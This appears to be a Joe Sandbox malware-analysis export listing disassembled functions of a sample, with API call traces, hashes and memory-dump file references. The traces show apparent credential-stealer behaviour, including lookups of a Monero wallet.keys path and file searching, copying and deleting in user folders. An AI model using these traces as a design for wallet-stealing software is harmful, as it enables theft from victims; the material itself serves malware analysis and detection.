Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: 10ee290ad554a424dac7ce5deed8e897caa572649ef53def8cd9a9c74ca84755
Instruction ID: 23e2564bc5a601de158e55240a55e8328d23c39931dba5c6542ccc417659d080
Opcode Fuzzy Hash: 10ee290ad554a424dac7ce5deed8e897caa572649ef53def8cd9a9c74ca84755
Instruction Fuzzy Hash: B6F0C2B1A04208EBC724CF84EC45FAABBBCFB44610F004669F515A3680D77959408BD0

Function 00EEB4F0 Relevance: 2.9, APIs: 2, Instructions: 397stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00EFA740: lstrcpy.KERNEL32(00F00E17,00000000), ref: 00EFA788

Part of subcall function 00EFA9B0: lstrlen.KERNEL32(?,01758BB0,?,\Monero\wallet.keys,00F00E17), ref: 00EFA9C5
Part of subcall function 00EFA9B0: lstrcpy.KERNEL32(00000000), ref: 00EFAA04
Part of subcall function 00EFA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EFAA12

Part of subcall function 00EFA920: lstrcpy.KERNEL32(00000000,?), ref: 00EFA972
Part of subcall function 00EFA920: lstrcat.KERNEL32(00000000), ref: 00EFA982

Part of subcall function 00EFA8A0: lstrcpy.KERNEL32(?,00F00E17), ref: 00EFA905

Part of subcall function 00EFA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00EFA7E6

lstrlen.KERNEL32(00000000), ref: 00EEB9C2
lstrlen.KERNEL32(00000000), ref: 00EEB9D6

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: ac0b27c1d5d06b7a4c8b6233759504d8fba7d004bf8b46992d2ef88742347415
Instruction ID: c6902f5bc5c8a9cf9fba85397b8952066043c56d3526df51d433d6f3b925a423
Opcode Fuzzy Hash: ac0b27c1d5d06b7a4c8b6233759504d8fba7d004bf8b46992d2ef88742347415
Instruction Fuzzy Hash: 96E122B281011CAACB18FBA0DC56DFE7378AF54340F445179F60A7A095EF746A49CB62

Function 00EEAEF0 Relevance: 2.7, APIs: 2, Instructions: 236stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00EFA740: lstrcpy.KERNEL32(00F00E17,00000000), ref: 00EFA788

Part of subcall function 00EFA9B0: lstrlen.KERNEL32(?,01758BB0,?,\Monero\wallet.keys,00F00E17), ref: 00EFA9C5
Part of subcall function 00EFA9B0: lstrcpy.KERNEL32(00000000), ref: 00EFAA04
Part of subcall function 00EFA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EFAA12

Part of subcall function 00EFA920: lstrcpy.KERNEL32(00000000,?), ref: 00EFA972
Part of subcall function 00EFA920: lstrcat.KERNEL32(00000000), ref: 00EFA982

Part of subcall function 00EFA8A0: lstrcpy.KERNEL32(?,00F00E17), ref: 00EFA905

lstrlen.KERNEL32(00000000), ref: 00EEB16A
lstrlen.KERNEL32(00000000), ref: 00EEB17E

Part of subcall function 00EFA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00EFA7E6

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 90f1754228fd5789eeccdcce811d57ef91ed152428ad5935aaab5726c9e24bd1
Instruction ID: e19bf2bdb93a840b777f9676b2e18e35dc6da1ada730056aad3dc47a34cbbfd1
Opcode Fuzzy Hash: 90f1754228fd5789eeccdcce811d57ef91ed152428ad5935aaab5726c9e24bd1
Instruction Fuzzy Hash: 3D9142B291014CABCB18EBA0DC55DFE73B8AF54300F445139F61ABB095EF746A49CB62

Function 00EEB230 Relevance: 2.7, APIs: 2, Instructions: 205stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00EFA740: lstrcpy.KERNEL32(00F00E17,00000000), ref: 00EFA788

Part of subcall function 00EFA9B0: lstrlen.KERNEL32(?,01758BB0,?,\Monero\wallet.keys,00F00E17), ref: 00EFA9C5
Part of subcall function 00EFA9B0: lstrcpy.KERNEL32(00000000), ref: 00EFAA04
Part of subcall function 00EFA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EFAA12

Part of subcall function 00EFA920: lstrcpy.KERNEL32(00000000,?), ref: 00EFA972
Part of subcall function 00EFA920: lstrcat.KERNEL32(00000000), ref: 00EFA982

Part of subcall function 00EFA8A0: lstrcpy.KERNEL32(?,00F00E17), ref: 00EFA905

lstrlen.KERNEL32(00000000), ref: 00EEB42E
lstrlen.KERNEL32(00000000), ref: 00EEB442

Part of subcall function 00EFA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00EFA7E6

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 2eb8d4ed69812373b2ea8c69208f2eadb942c28e6c8ca30cb8745336020ae2f7
Instruction ID: 21f5a3b29ce9695cef05c905ad9ba6365436aeca6f5f313a8a0b8db87033d94a
Opcode Fuzzy Hash: 2eb8d4ed69812373b2ea8c69208f2eadb942c28e6c8ca30cb8745336020ae2f7
Instruction Fuzzy Hash: 6F7131B291014C9ACB18EBA0DC56DFE73B8BF54340F445138F61ABB095EF746A49CB62

Function 00EF4BB0 Relevance: 2.6, APIs: 2, Instructions: 118stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00EF8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00EF8E0B

lstrcat.KERNEL32(?,00000000), ref: 00EF4BEA
lstrcat.KERNEL32(?,0175D658), ref: 00EF4C08

Part of subcall function 00EF4910: wsprintfA.USER32 ref: 00EF492C
Part of subcall function 00EF4910: FindFirstFileA.KERNEL32(?,?), ref: 00EF4943

Part of subcall function 00EF4910: StrCmpCA.SHLWAPI(?,00F00FDC), ref: 00EF4971
Part of subcall function 00EF4910: StrCmpCA.SHLWAPI(?,00F00FE0), ref: 00EF4987
Part of subcall function 00EF4910: FindNextFileA.KERNEL32(000000FF,?), ref: 00EF4B7D
Part of subcall function 00EF4910: FindClose.KERNEL32(000000FF), ref: 00EF4B92

Part of subcall function 00EF4910: wsprintfA.USER32 ref: 00EF49B0
Part of subcall function 00EF4910: StrCmpCA.SHLWAPI(?,00F008D2), ref: 00EF49C5
Part of subcall function 00EF4910: wsprintfA.USER32 ref: 00EF49E2
Part of subcall function 00EF4910: PathMatchSpecA.SHLWAPI(?,?), ref: 00EF4A1E
Part of subcall function 00EF4910: lstrcat.KERNEL32(?,0175E520), ref: 00EF4A4A
Part of subcall function 00EF4910: lstrcat.KERNEL32(?,00F00FF8), ref: 00EF4A5C
Part of subcall function 00EF4910: lstrcat.KERNEL32(?,?), ref: 00EF4A70
Part of subcall function 00EF4910: lstrcat.KERNEL32(?,00F00FFC), ref: 00EF4A82
Part of subcall function 00EF4910: lstrcat.KERNEL32(?,?), ref: 00EF4A96
Part of subcall function 00EF4910: CopyFileA.KERNEL32(?,?,00000001), ref: 00EF4AAC
Part of subcall function 00EF4910: DeleteFileA.KERNEL32(?), ref: 00EF4B31

Part of subcall function 00EF4910: wsprintfA.USER32 ref: 00EF4A07

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Filewsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID:
API String ID: 2104210347-0
Opcode ID: 22eac3d31f75326286a3f435a4055bd431b31f07c28808727a6574a7187f18a5
Instruction ID: a1d29571bfabd2074c2c4e3ab9d95d14514df31ff775e121c7af098fc10a3cf3
Opcode Fuzzy Hash: 22eac3d31f75326286a3f435a4055bd431b31f07c28808727a6574a7187f18a5
Instruction Fuzzy Hash: 2C4186B65002086BC778EB60FC42EFE337DAB85700F008558B65967585EDB59BDC8B92

Function 00EE6660 Relevance: 2.6, APIs: 2, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00003000,00000040), ref: 00EE6706
VirtualAlloc.KERNEL32(00000000,?,00003000,00000040), ref: 00EE6753

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 8f9cc52abf8ae49190390e987db85795ba64909b4d267dcb6705c6f9a05a63bf
Instruction ID: 12a412d5add7b4daed6748115d90211a271c1af814f2f1c0ae0dfe2385cae475
Opcode Fuzzy Hash: 8f9cc52abf8ae49190390e987db85795ba64909b4d267dcb6705c6f9a05a63bf
Instruction Fuzzy Hash: 4141FB74A00209EFCB54CF99C494BADBBB1FF54354F2492A9E859AB345C731EA81CF84

Function 00EF5050 Relevance: 2.5, APIs: 2, Instructions: 48stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00EF8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00EF8E0B

lstrcat.KERNEL32(?,00000000), ref: 00EF508A
lstrcat.KERNEL32(?,0175DEE0), ref: 00EF50A8

Part of subcall function 00EF4910: wsprintfA.USER32 ref: 00EF492C
Part of subcall function 00EF4910: FindFirstFileA.KERNEL32(?,?), ref: 00EF4943

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileFindFirstFolderPathwsprintf
String ID:
API String ID: 2699682494-0
Opcode ID: b9878ae372a37bc3718b59fa266418c0c4eeb4a240f9277e22f225785c444e7e
Instruction ID: 655505a01e8403d5feb373a6b6c142c953a7292d2b00acf659406d60052cd4b4
Opcode Fuzzy Hash: b9878ae372a37bc3718b59fa266418c0c4eeb4a240f9277e22f225785c444e7e
Instruction Fuzzy Hash: 450188B690020C67CB68FB60EC46EEE737CAF54300F004594F75967185EEB49AD88BA1

Function 00EE10A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 00EE10B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 00EE10F7

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 1eab06e7b0de29b5debbc66b8f9693402df43a272ccb6b2eb17305129c7053cc
Instruction ID: 9b7c1809cd91cf4b2af5cd1120b8a9fc1f9546f6c5952229d8cc612fd11a4ecc
Opcode Fuzzy Hash: 1eab06e7b0de29b5debbc66b8f9693402df43a272ccb6b2eb17305129c7053cc
